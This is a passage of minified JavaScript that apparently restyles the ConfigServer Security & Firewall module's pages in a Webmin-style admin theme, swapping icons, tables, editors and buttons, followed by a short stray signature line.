Contribution")').parent().parent():i.find(".csf-container").find('.panel-heading:contains("Development Contribution")').parent(),h=0,g=i.find(".csf-container").find('.well.well-sm:contains("csf:")'),m=i.find(".csf-container").find('p:contains("©2006")');g.remove();if(l){m.remove();var u=g.next("p");g.prev("br").remove();u.addClass("text-right footer-string")}else{if(h){if(c){p.remove()}else{p.parent().find('br, br + pre:contains("csf:")').remove();p.parent().find("p").remove();p.remove()}}else{var v=p.find("a").first();v.text("supporting");if(c){p.find('br, br + pre:contains("csf:")').remove();p.find(".panel-info").removeClass("panel-info").remove();p.find("p").addClass("text-right footer-string").wrapInner('<span class="pull-right"></span>').append('<span class="pull-left">Consider '+v[0].outerHTML+" ConfigServer Security & Firewall development</span>")}else{p.parent().find('br, br + pre:contains("csf:")').remove();p.parent().find(".panel-info").removeClass("panel-info").remove();p.parent().find("p").addClass("text-right footer-string").wrapInner('<span class="pull-right"></span>')}}}if(session.server.data("post")){$(".csf .footer-string").remove()}else{$('.csf .csf-container a[href^="javascript:fillfield"]').each(function(){$(this).find(".glyphicon").removeClass().addClass("fa2 fa-fw fa-xs fa2-location-pin text-light vertical-align-text-top")})}i.find(".csf-container").find('select:not([name="backup"], [name="profile1"], [name="profile2"], [name="do"], [name="dur"]), .csf input:not([name="comment"], [name="ip"], [name="ports"], [name="timeout"], [aria-controls*="DataTables_Table_"])').addClass("heighter-34");var _=i.find(".csf-container").find("select.heighter-34");_.nextAll("a.btn").add(_.prevAll("a.btn")).removeClass("heighter-28 btn btn-default").addClass("heighter-34 btn btn-default");var C=i.find(".csf-container").find('h4:contains("iptables logs*")');if(C.length){$(".panel-body .pull-right").addClass("hidden");var x=C.next().next(".table.table-striped.table-condensed");C.addClass("col_header_custom big_big");C.find("b").css("margin-left","4px");x.find("tbody tr:nth-child(2) td:first-child").css("min-width","200px");$__submenus__=$(".submenu").detach();setTimeout(function(){i.find(".csf-container").find(".panel-heading").prepend('      <div class="btn-group pull-right" style="position: absolute; right: 15px; top: 17px;">      <a class="btn btn-link text-lighter btn-toggle-top-right text-decoration-none pull-left" data-toggle="tooltip" data-container="body">        <i class="fa fa-toggle-switch-off fa-1_25x"></i>      </a>      </div>    ');var t=".btn-toggle-top-right";i.undelegate(t,"click.csf2");i.find("body").on("click.csf2",t,function(t){t.preventDefault();if($(this).find(".fa-toggle-switch-off").length){i.find(".csf-container").find('button[onclick*=".show()"]')[0].click();i.find(".csf-container").find(".btn.btn-xxs.fa-1_25x").removeClass("fa-toggle-switch-off").addClass("fa-toggle-switch");$(this).find(".fa-toggle-switch-off").removeClass("fa-toggle-switch-off").addClass("fa-toggle-switch")}else{i.find(".csf-container").find('button[onclick*=".hide()"]')[0].click();i.find(".csf-container").find(".btn.btn-xxs.fa-1_25x").removeClass("fa-toggle-switch").addClass("fa-toggle-switch-off");$(this).find(".fa-toggle-switch").addClass("fa-toggle-switch-off").removeClass("fa-toggle-switch")}})},0);$('html[data-post="viewlogs"] button.glyphicon.glyphicon-resize-vertical').addClass("btn-xxs").removeClass("glyphicon glyphicon-resize-vertical").addClass("fa fa-toggle-switch-off fa-1_25x").removeAttr("data-tooltip").removeAttr("data-title").removeAttr("data-original-title");var y=".table.table-striped.table-condensed tbody tr";$("body").undelegate(y,"click.csf3");$("body").on("click.csf3",y,function(t){$(this).find("button").trigger("click")});var y=".btn.btn-xxs.fa-1_25x";$("body").undelegate(y,"click.csf4");$("body").on("click.csf4",y,function(t){t.preventDefault();t.stopImmediatePropagation();if($(this).hasClass("fa-toggle-switch-off")){$(this).removeClass("fa-toggle-switch-off").addClass("fa-toggle-switch")}else{$(this).removeClass("fa-toggle-switch").addClass("fa-toggle-switch-off")}});$(".table.table-striped.table-condensed").dataTable(n);page.render.content.filter.init(false,i.find(".csf-container").find(".panel-heading"));setTimeout(function(){$(".btn-filter-top-right").parent().css("right","58px")},100)}if(i.find(".csf-container").find('select[name="dur"]')[0]){var w=i.find(".csf-container").find('select[name="dur"]')[0].nextSibling;if(w.nodeValue=="."){$(w).remove()}}var k=$('html[data-post="conf"] .csf form .comment > br:first-child').map(function(){this.previousSibling.nodeValue&&$(this.previousSibling).wrap('<span class="fst-ln-c">')});i.find(".csf-container").find("#paginatediv2.paginationstyle > select").each(function(){$(this).attr("style","vertical-align: top !important")});i.find(".csf-container").find("#paginatediv2 > a").each(function(){$(this).attr("style","vertical-align: baseline !important")});i.find(".csf-container").find("p > select").each(function(){$(this).attr("style","vertical-align: baseline !important")});var S=f.v___theme_night_mode_enabled||f.v___theme_night_mode?1:0;i.find(".csf-container").find('img[src*="csfimages/loader.gif"]').each(function(){$(this).attr("src",""+($.support.spa?f.v___location_prefix:"")+"/images/loader-horizontal"+(S?"_dark":"")+".gif").css("margin-left","10px")});i.find(".csf-container").find(".paginationstyle a").each(function(){$(this).addClass("btn btn-default")});i.find(".csf-container").find('img[src^="lfd_"], img[src^="/csf/lfd_"]').each(function(){$(this).parents("table").removeClass("table-striped")});i.find(".csf-container").find('img[src^="csfimages/delete.png"]').each(function(){$(this).replaceWith('<i class="fa fa-unlock text-success" style="font-size: 1.1em; vertical-align: middle;"></i>')});i.find(".csf-container").find('img[src^="csfimages/perm.png"]').each(function(){$(this).replaceWith('<i class="fa fa-lock text-danger" style="font-size: 1.1em; vertical-align: middle;"></i>')});i.find(".csf-container").find('img[src^="csfimages/plus.png"]').each(function(){$(this).addClass("hidden");b;$(this).after('<i class="fa fa-plus-circle text-success margined-right-2" style="font-size: 1.1em;"></i>')});i.find(".csf-container").find('img[src^="csfimages/minus.png"]').each(function(){$(this).addClass("hidden");$(this).after('<i class="fa fa-minus-circle text-danger margined-right-2" style="font-size: 1.1em;"></i>')});i.find(".csf-container").find("fieldset legend b").each(function(){if($(this).text().indexOf("Edit ConfigServer Firewall")>=0){$submit_changes=i.find(".csf-container").find('input[value="Change"]');$submit_changes.addClass("csf-submit_changes");$submit_changes.unbind("click.csf5");$submit_changes.on("click.csf5",function(){i.find(".csf-container").find('input[value="saveconf"]').parent("form").submit()})}});typeof __csf__listen_log_grep!="undefined"&&clearInterval(__csf__listen_log_grep);if(i.find(".csf-container").find("#CSFgrep_D").length&&i.find(".csf-container").find("#CSFgrep_E").length&&i.find(".csf-container").find("#CSFgrep_i").length){i.find(".csf-container").find('select, input[type="text"], button[onclick="CSFgrep()"]').removeClass("heighter-34").addClass("heighter-28");i.find(".csf-container").find("#CSFgrep_i, #CSFgrep_E, #CSFgrep_D").attr("style","vertical-align: middle; margin-right: 4px;");i.find(".csf-container").find("#CSFajax").css("margin-bottom","4px")}i.find(".csf-container").find("#CSFajax.csf-box").addClass("csf_force_log_size");if(typeof CodeMirror=="function"){e(false,false)}function T(){var t=$(".container-fluid");t.removeClass("col-lg-10 col-lg-offset-1").addClass("margined-top-15")}function F(){if(!$("html[data-post]").attr("data-post")){return}var t=i.find(".csf-container").find('textarea[name="formdata"]');if(t.length){T()}t.each(function(t,e){var a=$(this);$parent_width=a.parent("td").width();var n=window.CodeMirror.fromTextArea(e,{mode:{name:"rpm-spec"},matchBrackets:true,lineNumbers:true,keyMap:"sublime",highlightSelectionMatches:{annotateScrollbar:true},indentUnit:0,autofocus:true,foldGutter:true,gutters:["CodeMirror-linenumbers","CodeMirror-foldgutter"],extraKeys:{"Alt-Space":"autocomplete","Shift-Cmd-F":"replace","Shift-Ctrl-F":"replace"},styleActiveLine:true,lineWrapping:true,theme:$.support.spa&&!f.v___theme_night_mode?f.settings_cm_editor_palette:"monokai"});var i=content_page_calc_height("editor");i=i-i*.05;$window_height=i;n.setSize($parent_width,$window_height);$(window).resize(function(){$parent_width=a.parent("td").width();$window_height=i;n.setSize($parent_width,$window_height)})})}if(typeof window.CodeMirror=="function"){F()}if(session.server.data("post")==="fix"){var M=$("button.confirmButton");M.off("click");M.removeAttr("data-toggle data-target data-query type data-original-title title");$.each(M,function(){$(this).attr("href",$(this).attr("data-href"));$(this).removeAttr("data-href");$(this).removeClass("confirmButton").replaceTagName("a")})}if(session.server.data("post")==="viewports"){i.find(".csf-container").find(".panel .panel-body table.table-striped").each(function(){i.find(".csf-container").find("h4").addClass("col_header_custom").attr("style","margin-bottom: -5px !important; margin-top: 2px !important");i.find(".csf-container").find("h4").text("Ports listening for external connections");$(this).dataTable(n)});page.render.content.filter.init(false,i.find(".csf-container").find(".panel-heading"))}if(session.server.data("post")==="temp"){i.find(".csf-container").find('table:not(:contains("©2006-"))').each(function(){$('html[data-post="temp"] tr td .btn').attr("data-placement","right");$('html[data-post="temp"] tr td .btn').addClass("btn-xxs").find("span.glyphicon.glyphicon-ban-circle").removeClass("glyphicon glyphicon-ban-circle").addClass("fa fa-ban");$('html[data-post="temp"] tr td .btn').find("span.glyphicon.glyphicon-ok-circle").removeClass("glyphicon glyphicon-ok-circle").addClass("fa fa-unlock");$.each($('html[data-post="temp"] tr td a.btn'),function(t,e){$(this).attr("data-placement","right");$(this).addClass("btn-xxs");if($(this).hasClass("btn-danger")){$(this).addClass("margined-right-8")}});$(this).dataTable(n);setTimeout(function(){i.find(".csf-container").find(".dataTable thead tr th:eq(0)").addClass("no-controls")},10)});page.render.content.filter.init(false,i.find(".csf-container").find(".panel-heading"));$('.dataTables_wrapper + div:contains("There are no temporary IP entries")').remove();$('html[data-post="temp"] .dataTables_wrapper + div').find("a").addClass("btn-xxs btn-inverse").removeClass("btn-success").prepend('<i class="fa fa-fw fa-unlock">&nbsp;</i>')}if(!session.server.data("post")){i.find(".csf-container").find('button[value="conf"]').prepend('<i class="fa fa-cog margined-right-5"></i>');i.find(".csf-container").find('button[value="enable"]').addClass("page_footer_submit btn-success").removeClass("btn-default").prepend('<i class="fa fa-toggle-switch fa-1_25x margined-right-5"></i>');i.find(".csf-container").find('button[value="disable"]').addClass("page_footer_submit btn-danger").removeClass("btn-default").prepend('<i class="fa fa-toggle-switch-off fa-1_25x margined-right-5"></i>');i.find(".csf-container").find('button[value="restart"]').addClass("page_footer_submit btn-info").removeClass("btn-default").prepend('<i class="fa fa-circle-o-notch margined-right-5"></i>');i.find(".csf-container").find('button[value="denyf"]').addClass("page_footer_submit btn-warning").removeClass("btn-default").prepend('<i class="fa fa-unlock margined-right-5"></i>');var z=i.find(".csf-container").find('[name="template"], [name="ignorefile"]');setTimeout(function(){z.removeClass("heighter-28").addClass("heighter-34-force")});z.next().addClass("heighter-34").attr("style","min-height: 32px !important");z.attr("style","margin-right: -2px !important");if(z[1]&&z[1].length){$(z[1]).attr("style","margin-right: -4px !important")}}var R=$('p:contains("..."):contains("Done")');if(R.length||$('html[data-post="logtail"],                   html[data-post="allow"],                  html[data-post="deny"],                  html[data-post="redirect"],                  html[data-post="ignorefiles"],                  html[data-post="dirwatch"],                  html[data-post="dyndns"],                  html[data-post="templates"],                  html[data-post="logfiles"],                  html[data-post="blocklists"],                  html[data-post="syslogusers"]').length){$("#csfreturn").parent("form").parent("div").prev("hr").replaceTagName("br");R.remove()}else if($('html[data-post="servercheck"], html[data-post="readme"], html[data-post="viewlogs"], html[data-post="chart"], html[data-post="loggrep"], html[data-post="viewports"], html[data-post="profiles"], html[data-post="status"], html[data-post="sips"], html[data-post="temp"]').length){if($('html[data-post="temp"]')&&$('a[href="index.cgi?action=temprm&ip=all"]').length){}else{$("#csfreturn").parent("form").parent("div").prev("hr").replaceTagName("br")}}if(session.server.data("post")==="profiles"){var A=$(".table.table-striped.table-condensed:first thead");A.find("th:last-child").remove();A.find("th").attr("colspan","2")}var I=$("#csfreturn").length;$('#csfreturn,        html[data-post="rblcheckedit"] input[value="rblcheck"] + input,       html[data-post="serverchecksave"] input[value="servercheck"] + input,       html[data-post="temprm"] input[value="temp"] + input,       html[data-post="temprmd"] input[value="temp"] + input,       html[data-post="temptoperm"] input[value="temp"] + input    ').replaceWith('<button type="submit" class="btn btn-'+(I?"primary":"primary margined-top-10")+' page_footer_submit"><i class="fa fa-fw fa-arrow-left">&nbsp;</i> <span>'+(I?$is_lang?f.theme_language("global_return_to_module_index"):"Return to module index":$is_lang?f.theme_language("global_return"):"Return")+"</span></button>");var E=$('html input[value="lfdrestart"] + input, html input[value="restart"] + input, html input[value="restartboth"] + input'),D="Save",j="fa-circle-check";if(E.length){D=E.val();j="fa-circle-o-notch"}var L=$('input[value="Change"],    html:not([data-post=""]) input[value="restartboth"] + input,    html:not([data-post=""]) input[value="lfdrestart"] + input,    html:not([data-post=""]) input[value="restart"] + input    ');if(!session.server.data("post")){setTimeout(function(){$('html input[value="lfdrestart"]').next('[type="submit"]').removeClass().addClass("btn page_footer_submit btn-info")})}L.parents("form").nextAll("br").remove();L.replaceWith('<button type="submit" class="btn btn-default page_footer_submit'+(E.length?" __restart":"")+'"><i class="fa fa-fw '+j+'">&nbsp;</i> <span>'+D+"</span></button>");var q=".panel-heading font",H="bs-callout",P=""+q+" + .circles",B=$("."+H+":visible");if(B.length&&!$(P).length){$(q).after('<span class="circles"></span>')}$.each(B,function(){var t=$.trim($(this).attr("class").replace(H,"").replace(H+"-","").replace("text-center","").replace("collapse","")),e=$(this).text(),a=$('html[data-post="viewlogs"]').length&&!i.find(".csf-container table").length;if(!e||a){if(a){$(this).removeClass()}return}$(P).prepend('<span data-toggle="tooltip" data-container="body" data-html="true" data-placement="bottom" data-title="'+e+'" class="circle '+t+'"><i class="fa fa-'+(t=="warning"||t=="danger"?"exclamation-circle":t=="info"?"info-circle":"check-circle")+'"></i></span>');$(this).remove()});if($("html").attr("data-post")!==""){var N=i.find(".csf-container").find(".btn-primary.page_footer_submit");if(N.length){i.find(".csf-container").find(".panel-heading font").before('<a data-toggle="tooltip" data-container="body" data-html="true" data-placement="auto top" title="'+$.trim($(".page_footer_submit.btn-primary:first").text())+'"  href="'+v___location_prefix+'/csf/index.cgi" class="btn btn-link footer_module_index_top btn-squiare-headln2 text-lighter-slight"><i class="fa fa-return"></i></a>');var O=".footer_module_index_top";$("body").undelegate(O,"click.csf6");$("body").on("click.csf6",O,function(t){t.preventDefault();$("body").find(".btn.btn-primary.page_footer_submit").after('<input type="submit" class="submit_tmp_index hidden">');$(".submit_tmp_index").trigger("click")})}}else{var W=i.find(".csf-container").find('button[value="conf"]'),U=W.text(),V=W.parent("form").parent("td").parent("tr").addClass("hidden").detach(),G=$('#home form[action="index.cgi"] table').length,K=i.find(".csf-container").find('button[value="readme"]'),Y=K.text(),Z=K.parent("td").parent("tr").addClass("hidden").detach();$("#csf > table > tbody").append(V);if(d){i.find(".csf-container").find(".panel-heading font").before('<div class="btn-group btn-group-csf-home"><a href="index.cgi?action=conf" data-toggle="tooltip" data-container="body" data-html="true" data-placement="auto top" title="'+($is_lang?f.theme_language("global_module_config"):"Module config")+'" class="btn btn-link text-lighter ported_module_csf_conf"><i class="fa fa-cog"></i></a><a href="index.cgi?action=readme" data-toggle="tooltip" data-container="body" data-html="true" data-placement="auto top" title="'+($is_lang?f.theme_language("global_help"):"Module help")+'" class="btn btn-link text-lighter ported_module_csf_help"><i class="fa fa-question-circle"></i></a></div>');if($.support.spa){var y="a.ported_module_csf_conf";$("body").undelegate(y,"click.csf7");$("body").on("click.csf7",y,function(t){t.preventDefault();W.after('<input name="action" value="conf" type="hidden">').trigger("click")})}}if($.support.spa){var y="a.ported_module_csf_help";$("body").undelegate(y,"click.csf8");$("body").on("click.csf8",y,function(t){t.preventDefault();W.after('<input name="action" value="readme" type="hidden">').trigger("click")})}if(!G){i.find(".csf-container").find("#home").remove()}}if(!$.support.spa){i.find(".csf-container").find(".panel > .panel-heading > .btn-group").prepend('<a href="'+v___location_prefix+'/" data-container="body" class="btn btn-link text-lighter pd-lf-10 pd-rt-10" data-placement="auto top" data-toggle="tooltip" data-title="'+theme_language("return_home")+'"><i class="fa fa-home fa-md"></i></a>')}if($("html").attr("data-post")=="conf"){var J="STYLE_",Q=$(".csf-container").find('[name="'+J+'CUSTOM_"], [name="'+J+'MOBILE_"]').parents(".value-default"),X=Q.prev(".comment");Q.add(X).addClass("hidden")}if($("html").attr("data-post")=="fixnuclear"){$.post(v___location_prefix+"/index.cgi/?xhr-csf-unload=1")}var tt=".page_footer_submit.btn-primary",et=$(tt).parent("form").parent("div");et.prev("hr").remove();var at=et.addClass("margined-bottom-20").detach();i.find(".csf-container").append(at);theme_title_generate()}

Anon7 - 2022
SCDN GOK